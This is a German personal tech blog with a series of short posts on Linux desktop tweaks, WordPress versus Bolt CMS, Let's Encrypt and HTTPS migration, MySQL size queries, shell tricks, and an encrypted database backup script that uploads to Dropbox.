Da Terminator Richtung "eierlegende Wollmilchsau" geht, war ich mir sicher, dass man das Verhalten irgendwie ändern kann. In den Einstellungen habe ich aber nichts gefunden. Wie ich nun feststellen musste, habe ich einfach an der falschen Stelle gesucht. Ruft man die Einstellungen auf muss man den Reiter "Profile" auswählen. Hier findet man recht dann den Reiter "Bildlauf". Entfernt man dort den Haken bei "Bildlauf bei Ausgabe" kann man problemlos nach oben scrollen wenn am Ende eine Ausgabe erfolgt.


Natürlich Wordpress - Oder doch nicht?

Wordpress ist weit verbreitet. Wordpress hat eine große Gemeinschaft. Und Wordpress hat viele Plugins um den Funktionsumfang zu erweitern. Dennoch bin ich immer unzufriedener mit Wordpress. Es sind zwar nur Kleinigkeiten, aber trotzdem. Alle paar Tage gibt es Aktualisierungen für die Übersetzungen. Gefühlt wird hier jede Änderung in ein Update gepackt. Das Backend reagiert ab und zu recht träge, obwohl sich nichts geändert hat. Die Plugins sind auch so eine Sache. Manche sind unsicher, manche werden einfach nicht mehr betreut. Vor einigen Tagen bin ich dann auch noch so verrückt gewesen das Theme anzufassen.

Ich kann zwar etwas PHP, HTML, CSS, Python usw. aber als Programmierer würde ich mich nicht mal ansatzweise bezeichnen. Entweder ist genau das das Problem oder ich bin einfach zu unfähig. Womöglich beides. Auf jeden Fall endeten alle Versuche mein Theme anzupassen mehr oder weniger im Chaos. In der Hoffnung, dass es eine (für mich) bessere Lösung als Wordpress gibt, habe ich Google mal bis auf das Äußerste gequält. Und habe Bolt CMS gefunden. Das Ding ist ebenfalls ein Brocken wie Wordpress. Dennoch lässt sich das Backend jederzeit absolut flüssig aufrufen. Erstaunt hat mich dort zuerst einmal die Hauptkonfiguration. Klickt man auf diesen Punkt erscheint einfach eine Textdatei in einem Editor. Hätte ich jetzt nicht erwartet. Zumal der Rest über eine "richtige" grafische Oberfläche läuft. Diese ist Wordpress relativ ähnlich. Nach einigen kurzen Tests hat mich Bolt jetzt nicht absolut vom Hocker gehauen. Gefallen habe ich aber schon gefunden. Dann habe ich mich allerdings einmal an die Tempaltes gewagt. Hier wird Twig verwendet. Ich habe dann einfach mal versucht das von mir verwendete Theme von Wordpress nachzubauen. Nachdem ich die Funktionsweise von Twig verstanden hatte (was in dem Fall nicht mal wirklich lange gedauert hat), habe ich mir in weniger als einer Stunde ein fertiges Theme unter Bolt zusammengebaut. Und selbst ein paar Tage später verstehe ich noch, was in diesem passiert. Hier mal ein Beispiel für die Auflistung der einzelnen Artikel der Hauptseite:

{% include '_header.twig' %}
{% setcontent records = "entries/latest/5" allowpaging %}
    {% for record in records %}
        {{ record.title }}
        {{ record.body }}
        Veröffentlicht von {{ record.user.displayname }} am {{ record.datepublish|localdate("%d %B %Y") }}
    {% endfor %}
    {{ pager() }}
{% include '_aside.twig' %}
{% include '_footer.twig' %}


Das versteht man vermutlich schon fast, ohne das man jemals mit Twig gearbeitet hat. Keine Vergleich mit dem Wordpress-Wust. Man könnte es auch als idiotensicher bezeichnen. Also ideal für mich. :D

Leider hat Bolt CMS auch einen entscheidenden Nachteil für mich. Zumindest indirekt. Bolt verfügt als CMS nicht über eine Kommentarfunktion. Als Plugin gibt es zwar die eine oder andere Lösung. Von denen kommt allerdings nur Isso Comments in Frage, da man es selbst hosten kann, es einen Wordpress-Import gibt und es derzeit weiterentwickelt wird. Und genau da hakt es. Ich bekomme Isso auf meinem Uberspace ums Verrecken nicht zum Laufen. Der Entwickler hat leider keine, für mich, funktionierende Lösung parat. Und ich wüsste auch nicht, was ich bei der Installation falsch mache oder wie ich dem Entwickler helfen könnte. Das ist bestimmt wieder so ein Problem auf das man erst kommt, wenn man 2 Promille auf dem Tacho hat und sich den Baseballschläger bei Vollmond zweimal über die Rübe zieht während man nackt um ein Feuer tanzt. Sollte ich bezüglich Isso doch noch die Erleuchtung erfahren werde ich Wordpress Lebewohl sagen. Bis dahin geht es erst einmal mit Wordpress weiter. Es sind ja, wie schon gesagt, nur Kleinigkeiten die mich stören.


Btrfs-Treiber für Windows

Um unter Windows auf Partitionen mit dem Dateisystem ext3/4 zugreifen zu können gibt es Tools wie den Linux Reader von Diskinternal. Für Partitionen mit dem Dateisystem Btrfs ist mir noch kein funktionierendes Programm untergekommen. Wenn man also, wie ich, Btrfs nutzt und unter Windows mal eben auf die Linux-Partitionen zugreifen will ist das blöd. Die Situation könnte sich nun eventuell ändern.

Der Nutzer maharmstone hat auf Github eine erste Version von WinBtrfs veröffentlicht. Laut dem Entwickler ist ein Lese- und Schreibzugriff bereits möglich. Sachen wie RAID oder LZO-Komprimierung werden allerdings derzeit noch nicht unterstützt. Das ganze ist als erste Alpha-Version gekennzeichnet. Von einem produktiven Einsatz sollte man derzeit somit noch absehen. Feedback ist laut maharmstone willkommen. Egal ob positiv oder negativ.


Abmelden und Co. unter KDE Plasma nicht bestätigen

Eigentlich mag ich KDE Plasma. Aber ein paar Kleinigkeiten nerven mich auch. So zum Beispiel dass man in der Standardkonfiguration das Herunterfahren, Neustarten bzw. Abmelden bestätigen muss. Oder man wartet bis der 30-sekündige Timer abgelaufen ist. Beides finde ich weniger gut. Perfekt wäre es, wenn man den Timer einstellen könnte. Sagen wir auf 3 Sekunden. Somit hat man, wenn man sich dann doch einmal verklicken sollte, noch die Chance den Vorgang abzubrechen. Ein Ändern des Timers sieht das KDE-Team aber scheinbar nicht vor. Wieso auch immer. Aber zumindest gibt es eine Möglichkeit den Timer komplett außer Kraft zu setzen. Hierzu editiert man einfach die Datei ~/.config/ksmserverrc. Unter [General] findet man den Eintrag confirmLogout=true, welchen man auf false setzt und die Datei wieder abspeichert. Alternativ kann man im in den Systemeinstellungen von KDE Plasma auch unter Arbeitsbereich "Starten und Beenden" auswählen. Dort klickt man dann links auf "Arbeitsflächen-Sitzung" und wählt dann rechts "Abmeldung bestätigen" ab. und speichert die Änderung.


Ohne Maus im Terminal scrollen

Ab und an spuckt ein Befehl wie z. B. hwinfo mehr aus, als auf den Bildschirm passt. Vor allem wenn man ein Net- bzw. Notebook nutzt. Ich selbst verwende zsh als Shell und terminator als Terminal-Emulator. Das ganze ist so eingestellt, dass ich mit den Cursortasten durch die Historie der Befehle "scrollen" kann. Wie bekommt man aber die Bildlaufleiste dazu nach oben bzw. unten zu scrollen? 

Am einfachsten dürfte es mit der Maus sein, indem man entweder der Mausrad nutzt oder die Bildlaufleiste nach oben bzw. unten zieht. Was aber wenn man an seinem Notebook keine Maus angeschlossen hat? Und auch das Touchpad deaktiviert hat? Man drückt einfach zwei Tasten. Mit Shift und Bild↓ scrollt man nach oben und mit Shift und Bild scrollt man nach unten.


Ich mag RegEx weiterhin nicht, aber…

Vor einiger Zeit habe ich einen kleinen Artikel geschrieben in dem ich auf eine gute Einführung in die "Regulären Ausdrücke", auch RegEx genannt, verwiesen habe. Leider ist diese Einführung nicht mehr aufrufbar. Und leider stehe ich mit RegEx immer noch auf Kriegsfuß. Und was am schlimmsten ist, ist dass ich demnächst ganz sicher RegEx benötige. Was bin ich froh, dass ich in den Tiefen des Internets einen Artikel von Daniel Fett gefunden habe, der RegEx wirklich klasse erklärt. Vielen Dank dafür. Vielleicht kann der eine oder andere ja auch etwas damit anfangen. Vorsichtshalber habe ich mir die Seite auch gleich als PDF-Datei abgespeichert. Sicher ist sicher.


Externe Speichermedien mit udisks2 unter /media/ mounten

Nutzt man udisks2 zum Mounten von z. B. externen Festplatten wird hierfür unter /run/media/Benutzername/ ein Mountpoint erstellt, der entweder der UUID oder dem Label des Mediums entspricht. In diesem Verzeichnis greift ACL, was auf einem System mit mehreren Benutzern durchaus Sinn machen kann. Auf meinen Rechnern bin ich aber der alleinige Nutzer und mit geht das Mounten unter /run/media/Benutzername/xyz/ auch ehrlich gesagt einfach auf den Zeiger.

Wie also bekommt man udisks2 dazu unter /media/xyz/ zu mounten? Erst einmal erstellt unter /etc/udev/rules.d/ einfach die Datei 99-udisks2.rules. In diese schreibt man dann noch ENV{ID_FS_USAGE}=="filesystem|other|crypto", ENV{UDISKS_FILESYSTEM_SHARED}="1". Die 1 bedeutet, dass der Mountpoint unter /media/ erstellt wird. Ändert man das ganze auf 0 wird wieder /run/media/Benutzername/ verwendet. Sollte das Verzeichnis /media/ noch nicht vorhanden sein, sollte man es abschließend noch als Root erstellen. Ansonsten funktioniert es nicht wirklich.


Größe einer MySQL-Datenbank herausfinden

Heute hat es mich mal interessiert, wie groß die MySQL-Datenbank sind, welche auf meinem Uberspace laufen. Daher habe ich mir mal etwas mit SQL-Abfragen gebaut.

SELECT sum(round(((data_length + index_length) / 1024 / 1024), 2)) as "Größe in MB" 
FROM information_schema.TABLES 
WHERE table_schema = "Datenbankname"

Hier wird der Wert aus data_length und index_length der Datenbank welche man anstelle von Datenbankname angibt zusammengezählt und das Ergebnis auf zwei Stellen gerundet.

Hat man mehrere Datenbanken kann man deren Größe auch auf einen Schlag anzeigen lassen. Hierzu kann man folgende Abfrage nutzen.

SELECT table_schema, sum(round(((data_length + index_length ) / 1024 / 1024),2)) "Größe in MB"
FROM information_schema.TABLES
GROUP BY table_schema ;


Double Commander nun hoffentlich komplett in deutscher Sprache

Obwohl ich mit meinem derzeitigen Setup zufrieden bin, werfe ich ab und zu mal einen Blick auf alternative Programme. Wenn es um einen Dateimanager geht, setze ich seit Jahren schon auf Krusader. Gestern habe ich mir aber einmal den Double Commander genauer angesehen. Für meinen Geschmack ist das derzeit die beste Alternativ zu Krusader.

Nur eine Kleinigkeit hat mich sehr gestört. Der Commander ist so eingestellt, dass er das Programm in deutscher Sprache anzeigen soll. An einigen Stellen hat es geklappt, andere wurden in englischer Sprache angezeigt. So einen Mischmasch kann ich gar nicht haben. Entweder oder. Nicht mal so mal so.

Ich habe mir dann mal unter /usr/lib/doublecmd/language/ die Sprachdatei angesehen, welche für die deutsche Sprache zuständig ist. Jede Stelle die im Programm nicht in Deutsch angezeigt wurde, war in der Sprachdatei als "Fuzzy" gekennzeichnet. Das passiert zum Beispiel dann, wenn das Programm an sich geändert wird und somit die jeweilige Übersetzung eventuell nicht mehr passt. Somit kann der Übersetzer, der die PO-Datei erstellt hat sich die betreffenden Stellen ansehen und ggf. anpassen. Da ich keine Lust habe, so lange zu warten habe ich mich mal selbst ans Werk gemacht. Nach einigem Hin und Her habe ich mich für das Programm Lokalize entschieden. Da ich KDE 5 (ja es gibt kein KDE 5) benutze war es eh schon installiert. Mit diesem Tool habe ich einfach mal die betreffenden Fuzzy-Lines angesehen und geprüft. Viele habe ich einfach bestätigt, viele habe ich aber auch geändert. Die eine oder andere Übersetzung die eigentlich gar nicht betroffen war, habe ich ebenfalls angepasst, da mir die vorhandene nicht wirklich gefallen hat.

Circa 5 Stunden später (den Aufwand habe ich ernsthaft unterschätzt) "erstrahlt" der Double Commander nun komplett in deutscher Sprache. Außer ich habe etwas übersehen. Mit der einen oder anderen Übersetzung (sowohl von mir als auch vom ursprünglichen Übersetzer) bin ich allerdings immer noch nicht zufrieden. Zum einen ist mir teilweise nichts besseres eingefallen, zum anderen war der vorhandene Platz in der grafischen Oberfläche einfach zu klein.

Abschließend bleibt aber noch ein Problem. Naja eigentlich zwei. Um die Übersetzung in die Entwicklung einfließen zu lassen, müsste ich die Datei mit einem Subersion-Zugang hochladen. Von Subversion habe ich allerdings keinen blassen Schimmer. Und was noch viel schlimmer ist, das Projekt wird bei Sourceforge gehostet. Nach deren Aktion vor ein paar Monaten will ich mit dem Verein eigentlich gar nichts zu tun haben. Mal schauen wie ich das ganze löse. Bis mir etwas, für mich, sinnvolles eingefallen ist, kann man die Datei auch hier herunterladen.


Kontrollleiste unter KDE Plasma 5 verschieben

Wie viele andere Nutzer auch, setze ich zwei Monitore ein. Einmal den direkt vor mir als Hauptmonitor und einen links daneben auf dem Sachen laufen die ich nicht immer im direkten Blick haben muss wie z. B. längere Updates oder Downloads. Oder das E-Mail-Programm. Auf dem Monitor direkt vor mir wir dann auch die Kontrollleiste von KDE Plasma 5 angezeigt. Vor ein paar Tagen als ich den Rechner gestartet hatte war die Leiste aber auf den linken Monitor. Keinen Schimmer wie das passiert ist. Genauso wie ich keinen Schimmer hatte, wie zur Hölle ich die Leiste jetzt wieder auf den richtigen Monitor bekomme.

Nachdem ich Google einige Zeit erfolglos gequält habe, habe ich die Lösung dann durch Versuch und Irrtum gefunden. Als erstes entsperrt man die Miniprogramme. Hierzu macht man einfach einen Rechtsklick auf den Desktop und wählt "Miniprogramme entsperren" aus. Danach sollten in der Kontrollleiste ganz rechts drei übereinander liegende Striche erscheinen. Wenn diese schon angezeigt werden, kann man sich diesen Schritt auch sparen. Als nächstes klickt man auf die drei Striche. Hier sollte man dann folgende Anzeige bekommen.

Plasma_verschieben

Entscheidend ist hier der Punkt "Bildschirmkante". Klickt man auf diesen, passiert erst mal gar nichts. OK... Man muss nämlich darauf Klicken und die Maustaste gedrückt halten. Dann kann man die Kontrollleiste mit der Maus an die gewünschte Bildschirmkante verschieben. So sehr wie ich KDE bevorzuge... Aber wirklich aussagekräftig ist "Bildschirmkante" nun wirklich nicht. Vor allem weil es im Kontrollzentrum auch den Punkt "Bildschirmränder" gibt. Dort kann man z. B. einstellen dass wenn man mit dem Mauszeiger in die linke obere Ecke des Desktop fährt der Desktop gesperrt wird. Ober dass ein Fenster maximiert wird, wenn man es an den oberen Rand zieht usw.


Verzeichnisse nach einer bestimmten Reihenfolge erstellen

Neues Projekt, neue Probleme. Derzeit bin ich dabei, bestimmte Texte so mit Markdown zu formatieren, dass ich sie mittels pandoc in eine EPUB- sowie eine PDF-Datei umwandeln kann. Da es sich bei den Texten um mehr als 100 Stück handelt brauche ich hierfür eine gewisse Ordnung, sonst verliere ich die Übersicht. Von daher habe ich erste einmal ein Arbeitsverzeichnis angelegt. In diesem sollen dann Unterverzeichnisse von A bis Z angelegt werden in welche dann die Markdowndateien abgespeichert werden. Nur wie lege ich diese jetzt am besten an? Mittels mkdir A, mkdir B, mkdir C? Darauf würde ich gerne verzichten. Also eine Schleife? Das würde mir zumindest einiges an Arbeit ersparen. Die Lösung ist in diesem Fall aber noch einfacher. Das ganze lässt sich sogar mit mkdir direkt lösen. So reicht es aus mkdir {A..Z} auszuführen und schwups hat man Verzeichnisse von A bis Z angelegt. Braucht man Verzeichnisse mit Zahlen nimmt man beispielsweise einfach mkdir {1..10} und erstellt damit Verzeichnisse von 1 bis 10. Das ganze nennt man Brace Expansion. Damit lassen sich auch noch komplexere bzw. andere Sachen anstellen. So kann man beispielsweise durch mv test.{txt,bak} die Datei test.txt in test.bak umbenennen.


Fryboyter.de ab jetzt per https erreichbar

Es ist vollbracht. Fryboyter.de läuft nun dank Let's Encrypt mit https. Die Anleitung von Uberspace der ich gestern bereits einen Artikel gewidmet habe, hat einwandfrei funktioniert. Danach war allerdings noch die eine oder andere Anpassung nötig. Hauptsächlich an Wordpress.

Als erstes habe ich im Backend von Wordpress unter den allgemeinen Einstellungen die Wordpress- sowie Website-Adresse von http://fryboyter.de auf https://fryboyter.de geändert. Danach lies sich schon einmal die Seite an sich verschlüsselt aufrufen. Aber irgend etwas hat nicht gepasst.

Ich markiere alle externen Links mit einem kleinen Symbol wie ich hier schon beschrieben habe. Da die Seite nun per https aufgerufen wird, hat das ganze nun auch alle internen Link gekennzeichnet. Also schnell die Ausnahme von der Kennzeichnung auf https://fryboyter.de geändert. Soweit so gut. Piwik wurde auch noch unverschlüsselt eingebunden. Also auch hier schnell den Tracking-Code auf https geändert, welcher bei mir in der Datei footer.php eingetragen ist.

War es das? Leider nein. Leider war bei alle Grafiken die ich über die Mediathek von Wordpress eingebunden habe noch http eingetragen. Warum wurde das nicht bei der Änderung in den allgemeinen Einstellungen mit geändert? Eine globale Änderung der Mediathek-Links über das Backend ist scheinbar auch nicht vorgesehen. Püh... Was nun? Ich habe mich dann kurzerhand einfach mal mit der Datenbank verbunden und mir die diversen Tabellen angesehen. Dabei ist mir aufgefallen, dass ich in einigen Artikeln auch noch auf andere Artikel verwiesen habe. Natürlich per http://. Ja leck mich doch. Also habe ich mir eine SQl-Anweisung gebaut, die nach http://fryboyter.de sucht und alle Treffer in der Datenbank durch https://fryboyter.de ersetzt. Diese werde ich an dieser Stelle erst mal nicht veröffentlichen. Nicht dass ich hier irgendwo Mist gebaut habe. Zudem sollte es mit diesem Tool wohl auch einfacher gehen. Da es quelloffen ist, sollte es auch keine Hintertürem haben oder Zugangsdaten abgreifen. Meine Hand lege ich aber definitiv nichts ins Feuer dafür. Das Teil habe ich natürlich erst hinterher gefunden und daher in keinster Weise getestet.

Nun aber, oder? Nicht ganz. Fryboyter.de ist weiterhin per http erreichbar. Also noch schnell die htaccess-Datei für Wordpress angepasst, dass immer die Seite per https aufgerufen wird. Hier habe ich mich einfach im Blog von Überspace bedient und die "schickere" Variante gewählt. Auch wenn diese wohl bei älteren Browsern Probleme macht. Da hier aber hauptsächlich Besucher mit aktuellen Versionen aufschlagen sollte es nicht wirklich ein Problem sein.

Das sollte es dann aber wirklich gewesen sein. Wenn ich doch irgendwo etwas übersehen habe, wäre ich über einen Hinweis nicht unglücklich.

Abschließen kann ich nur feststellen dass das Beantragen und Einbauen des Zertifikats in deutlich weniger als 5 Minuten erledigt war. Auch das Scharfschalten ging ratz fatz. Die ganzen Anpassungen an der Seite an sich haben dann aber doch länger gedauert. Vor allem der Mist mit der Mediathek und den Links in den Artikeln...


Offizielles Vorgehen bei Uberspace mit Let's Encrypt

Seit gestern kann sich Hinz und Kunz Zertifikate bei Let's Encrypt ausstellen lassen. Da ich ja beim Webspace-Anbieter Uberspace bin, bin ich mir recht sicher dass es auch bei mir irgendwie klappen sollte. Nur wie? Als erstes habe ich mir mal die offizielle Dokumentation angesehen. Hätte ich mir schon fast schenken können. Aber nicht weil diese für Tonne ist.

Denn Jonas von Uberspace hat heute einen Artikel im Uberspace-Blog veröffentlicht in dem eigentlich alles genau erklärt wird. Getestet habe ich das ganze bisher noch nicht aber wenn man sich das ganze so durchliest dürfte der Spass keine 5 Minuten dauern. Lediglich für das automatisierte Erneuern der Zertifikate alle 90 Tage hat das Uberspace-Team noch keine offizielle Lösung. Aber das bin ich mir recht sicher, dass da noch etwas kommen wird. Zur Not würde mir das Abfeuern von ein paar Befehlen alle X Tage aber auch nicht die Laune verderben.


Alte und neue Konfigurationsdateien unter Arch mit pacmarge abgleichen

Bei einem Update von Arch Linux kann es passieren, dass es auch Änderungen an den Konfigurationsdateien gibt. Anstelle dass bereits vorhandene Konfigurationsdateien automatisch angepasst oder sogar komplett überschrieben werden, werden die neuen Konfigurationsdateien mit der Endung .pacnew angelegt. Somit ist es dann die Aufgabe des Administrators die vorhandenen Konfigurationsdateien mit den Pacnew-Dateien abzugleichen. Für diesen Job nutze ich ein Script, welches sowohl vorhandene als auch Pacnew-Dateien aufspürt und beide mit meld öffnet, so dass ich diese händisch abgleichen kann.

Der Arch-Entwickler foutrelis hat hierfür nun das Tool pacmarge gebaut, welches diese Aufgabe automatisiert. Man findet es im AUR. Führt man pacmarge nach einem Update aus, welches auch die Konfigurationsdateien betrifft, erhält man beispielsweise folgende Ausgabe.

pacmarge

Hier sieht man dass bis auf die Datei mirrorlist alle Dateien erfolgreich zusammengeführt wurden. Aber vertrauen ist gut, Kontrolle ist besser. Von daher habe ich die vorhandenen Konfigurationsdateien bereits vorab gesichert und dann mit den durch pacmarge geänderten Dateien verglichen. So wie es aussieht macht das Tool seine Arbeit wirklich gut. Einen Fehler konnte ich nicht finden. Dennoch werde ich wohl bei meinem Script und meld bleiben. Wenn da etwas schief geht, kenne ich die Fehlerquelle definitiv. Layer 8.


Offene Beta-Phase von Let's Encrypt startet am 03.12.2015

Die Zertifizierungsstelle Let's Encrypt an der z. B. Mozilla, Cisco, Akamai und die Electronic Frontier Foundation beteiligt sind, möchte durch die Vergabe von kostenlosen SSL/TLS-Zertifikaten eine möglichst hohe Anzahl an verschlüsselten Internetseiten erreichen. Bisher konnten nur Nutzer die an der geschlossenen Beta-Phase beteiligt waren, das Angebot nutzen. Ab dem 03.12.2015 soll sich dies ändern.

Let's Encrypt tritt dann in die offene Beta-Phase ein. Ab diesem Zeitpunkt kann dann jeder der Interesse hat Zertifikate beantragen. Zur Ausstellung der Zertifikate bietet die Zertifizierungsstelle ein Tool an mit dem die nötigen Schritte vereinfacht werden. Dieses Tool, welches auch einen manuellen Modus bietet, ist quelloffen und kann unter https://github.com/letsencrypt/letsencrypt eingesehen werden. Weiterhin ist das dabei verwendete Protokoll ACME-Protokoll ebenfalls quelloffen und steht unter https://github.com/letsencrypt/acme-spec zur Einsicht bereit. Somit sollten sich auch eigene Tools erstellen bzw. die einzelnen Schritte händisch abarbeiten lassen.

Alle der weit verbreiteten Browser vertrauen den Zertifikaten von Let's Encrypt (https://letsencrypt.org/2015/10/19/lets-encrypt-is-trusted.html). Unterstützt werden die Webserver Apache und nginx.


Erste Beta-Version des Browsers Vivaldi veröffentlicht

Die Entwickler des Browsers Vivaldi, welcher von vielen ehemaligen Opera-Nutzern als Nachfolger angesehen wird, haben nun die erste Beta-Version veröffentlicht. Seit der ersten Technical-Preview-Version, welche Anfang 2015 veröffentlicht wurde, hat sich einiges getan:

TP1 (released on 27.01.2015)

Tab stacking
Notes
Speed Dial
Bookmarks manager
Downloads manager
Quick commands
Mouse gestures
Page actions
Sidebar
Colored tabs
Visual tabs
Recently closed tabs
Shortcuts

TP2 (released on 05.03.2015)

Bookmarks bar
On-demand image loading
Fast/Forward
Spatial navigation
TP3 (release on 28.04.2015)
Tab Stack Tiling
Unseen page marker
Native window
Autoupdate
Personal data importing
Plug-ins on demand
Background tabs loading indicator

TP4 (release on 16.07.2015)

Startup options
Color schemes
UI zoom
HiDPI support
Pinned tabs
Task manager

Beta 1 (released on 03.11.2015)

Web-panels
Chromeless UI
Tabs visual navigation
Private window
Page loading progress indicator
Typed history list
Smooth scrolling
Geolocation support
HTML5 h.264 support
Full Extensions support

Auch wenn ich Vivaldi nun seit einigen Snapshot-Versionen als meinen Hauptbrowser nutze, sind noch einige Sachen noch nicht wie sie (für mich) sein sollten. So kann man aktuell noch keine Mausgesten direkt im Browser anpassen bzw. neue Gesten hinzufügen. Ebenfalls ist die grafische Oberfläche noch nicht im Browser anpassbar. Beides soll aber zukünftig noch möglich sein. Weiterhin vermisse ich noch die Möglichkeit Textlinks direkt über das Kontextmenü zu öffnen. Diese Funktion wurde vor einigen Snapshots entfernt. Ich hoffe nicht permanent sondern nur weil es hier noch ungelöste technische Probleme gibt. Gemeldet habe ich diese "Regression" vorsichtshalber aber schon einmal (VB-9921).


Rechte von Dateien und Verzeichnissen als Oktalzahl anzeigen

Heute wollte ich die Rechte eines Verzeichnis und der daran enthaltenen Dateien überprüfen, da scheinbar ein Script etwas Mist gebaut hat. Prinzipiell kann man sich die Rechte schnell und einfach mittels

ls -alR

anzeigen lassen. Allerdings werden hier die Rechte durch die bekannten Buchstabenkombinationen angezeigt (z. B. -rw-r--r--). Lieber wäre mir in diesem Fall aber die Ausgabe mit Oktalzahlen wie zum Beispiel 755. Der Befehl ls kann dies scheinbar nicht. Nach einigen Hin und Her konnte ich das Problem mittels

find .zsh -printf "%m %p\n"

lösen (anstelle von .zsh gibt man das Verzeichnis an, das überprüft werden soll). Die Ausgabe sieht wie folgt aus.

700 .zsh
700 .zsh/cache
700 .zsh/cache/netbook
644 .zsh/cache/netbook/SYS_ALL_UNITS
644 .zsh/cache/netbook/SYS_REALLY_ALL_UNITS
755 .zsh/.zfunc
644 .zsh/.zfunc/extendedcd
644 .zsh/.zfunc/cd

Icons im Tray unter KDE Plasma 5 anzeigen

Bisher wurden unter KDE 4.x die Icons im System Tray mittels xembed angezeigt. Plasma hingegen setzt nun auf SNI. Für viele Programme hatte das zu Folge, dass die Entwickler ihre Programm anpassen müssen. Bei einigen ist diese Anpassung bereits erfolgt. Bei anderen noch nicht. Bei einigen wird es vermutlich nie passieren. Und genau das ist ein Problem für viele Anwender.

Im Wiki von Arch Linux werden z. B. die Pakete sni-qt und libappindicator-gtk2 bzw. -gkt3 als Lösung angegeben. Bei mir hat bisher jede dieser Lösungen versagt. KeePass weigert sich beispielsweise auch nach der Installation besagter Pakete ein Icon anzuzeigen. Vermutlich weil Mono genutzt wird. Laut einem Artikel von David Edmundson, seines Zeichens Entwickler bei KDE, macht die Umstellung auf SNI bei den Nutzern größere Probleme als ursprünglich angenommen. Und zwar so große, dass nun xembed-sni-proxy ins Leben gerufen wurde. Hiermit werden quasi "xembed-Icons" in "SNI-Icons" umgewandelt, so dass die Icons unter Plasma angezeigt werden.

Nach einem ersten Test ist das Projekt noch nicht wirklich ausgereift. In vielen Fällen wird beispielsweise ein leeres Icon angezeigt (Pidgin ist so ein Fall), so dass auf den ersten Blick einfach nur eine Lücke im System Tray zu sehen ist. Ein Klick auf diese Lücke öffnet aber das jeweilige Menü. Bei KeePass wird das Icon angezeigt. Nur lässt sich hier das Menü derzeit nur schließen wenn man einen Eintrag anklickt. Blöd wenn man das falsche Icon erwischt hat und das Menü einfach nur schließen will.

Edmundson hofft, dass xembed-sni-proxy in Plasma 5.5 Einzug halten kann. Diese Version ist für Dezember 2015 geplant, so dass bis dahin noch einige Zeit zum Beheben von Problemen bleibt. Wer nicht so lange warten will und zufällig Arch nutzt, findet im AUR das Paket xembed-sni-proxy-git.


Datenbank sichern und verschlüsselt in die Dropbox hochladen

Ungesicherte Daten sind unwichtige Daten. Daher sollte man sich gut überlegen wie und vor allem wohin man seine wichtigen Daten sichert. Bei vielen Betreibern ist zum Beispiel die Datenbank absolut wichtig, da dort die Artikel und Kommentare eines Blogs gespeichert sind. Da eine Datensicherung prinzipiell auf einem anderen Speichermedium zu erfolgen hat als die Originaldaten liegen, habe ich mir überlegt, ob man hierfür nicht eine Dropbox nutzen könnte. Man kann.

Als erstes läd man sich von https://github.com/andreafabrizi/Dropbox-Uploader die Shellscripte herunter und speichert diese in einem Verzeichnis auf den Server. Hier sollte man nach Möglichkeit das Verzeichnis außerhalb des Document Root anlegen.

Nun macht man mittels

chmod +x dropbox_uploader.sh

das Shellscript ausführbar und startet es. Beim ersten Start wird hierbei der Konfigurationsvorgang ausgeführt. Diesem folgt man dann entsprechend (eine Dropbox muss bereits vorhanden sein). Da man hier eigentlich nichts falsch machen kann, gehe ich an dieser Stelle nicht näher darauf ein. Falls doch Fragen aufkommen sollten, meldet euch einfach. Nachdem der Uploader konfiguriert wurde, kann man diesen schon einmal testen indem man mit touch test.txt eine Datei erstellt und diese dann mittels

./dropbox_uploader.sh upload test.txt .

in die Dropbox hochläd.

Nun erstellt man im gleichen Verzeichnis in dem das Shellscript liegt ein weiteres. Beispielsweise backup.sh. Dies füllt man dann wie folgt:


#!/bin/bash
set -e 
DAY=`/bin/date +%Y%m%d`
PASSPHRASE='a=Fr#M?w\+.Qg3T.qD)x'
mysqldump -u benutzername -p'4567' datenbankname | gzip -9 > /home/benutzername/Dropbox-Uploader/$DAY.sql.gz
gpg --batch --cipher-algo AES256 --passphrase=$PASSPHRASE -c /home/benutzername/Dropbox-Uploader/$DAY.sql.gz
cd /home/benutzername/Dropbox-Uploader/ 
./dropbox_uploader.sh upload "$DAY.sql.gz.gpg" . 
rm /home/benutzername/Dropbox-Uploader/$DAY.sql.gz 
rm /home/benutzername/Dropbox-Uploader/$DAY.sql.gz.gpg

Das ganze Script ist relativ schnell erklärt. Erst wird ein Dump der Datenbank "datenbankname" erstellt und gepackt. Hierbei wird der Dateiname wie in Zeile drei definiert erstellt (Jahr/Tag/Monat). Als nächstes wird das so erstellte Archiv mittels gpg und dem in Zeile vier hinterlegtem Passwort verschlüsselt. Danach wird die verschlüsselte Datei in die Dropbox hochgeladen. Abschließend wird sowohl die verschlüsselte als auch die unverschlüsselte Datei vom Server gelöscht.

Nun legt man sich am besten noch einen Cronjob an mit dem dann das eben erstelle Script regelmäßig ausgeführt wird und somit die Datenbank automatisch gesichert wird.


Bestimmte Zeile aus einer Datei entfernen

Gestern habe ich wieder mit mehreren Terminals unter terminator geöffnet. Weil es natürlich schnell gehen sollte, habe ich ein Passwort in den falschen Terminal eingegeben, so dass das Passwort quasi als Befehl in der History-Datei von zsh gelandet ist. Mal wieder. Nicht gerade das Gelbe vom Ei. Da mir leider keine Funktion unter der zsh bekannt ist, mit der man einzelne Zeilen aus der History-Datei entfernen kann, ist wieder Handarbeit angesagt gewesen. Je nach Lust und Laune nehme ich entweder einen Editor meiner Wahl (in der Regel nano oder kate), öffne die Datei ~/.zhistory und entferne den problematischen Eintrag. Oder ich verwende

grep -v $suchbegriff .zhistory > tempdatei && mv tempdatei .zhistory

Hierbei suche ich nach dem gewünschten Suchbegriff und leite alles was nicht diesem entspricht in die Datei tempdatei um (-v bewirkt dies). Danach überschreibe ist die Datei .zhistory mit der tempdatei, so dass ich eine bereinigte History-Datei erhalte. Da bekanntlich unter Linux viele Wege zum Ziel führen, habe ich gestern eine etwas weniger umständliche Alternative mittels sed gefunden.

sed -i '/suchbegriff/d' .zhistory

Der Parameter -i weist sed an, die Änderungen direkt in der .zhistory vorzunehmen und auch direkt zu speichern. Sollen solche "Aufräum-Befehle" ebenfalls nicht in der History-Datei landen, sollte man bevor man anfängt sicherstellen, dass in der Datei ~/.zshrc der Eintrag

setopt HIST_IGNORE_SPACE 

vorhanden ist. Fügt man nun vor dem eigentlichen Befehl ein Leerzeichen ein, so erscheinen diese nicht in der History-Datei. Dies gilt ebenfalls mit Aliase.


Mausgesten unter Vivaldi händisch anpassen

Offiziell kann man die Mausgesten unter dem Browser Vivaldi noch nicht anpassen oder gar neue hinzufügen. Zumindest das Anpassen klappt aber indem man eine Datei händisch ändert.

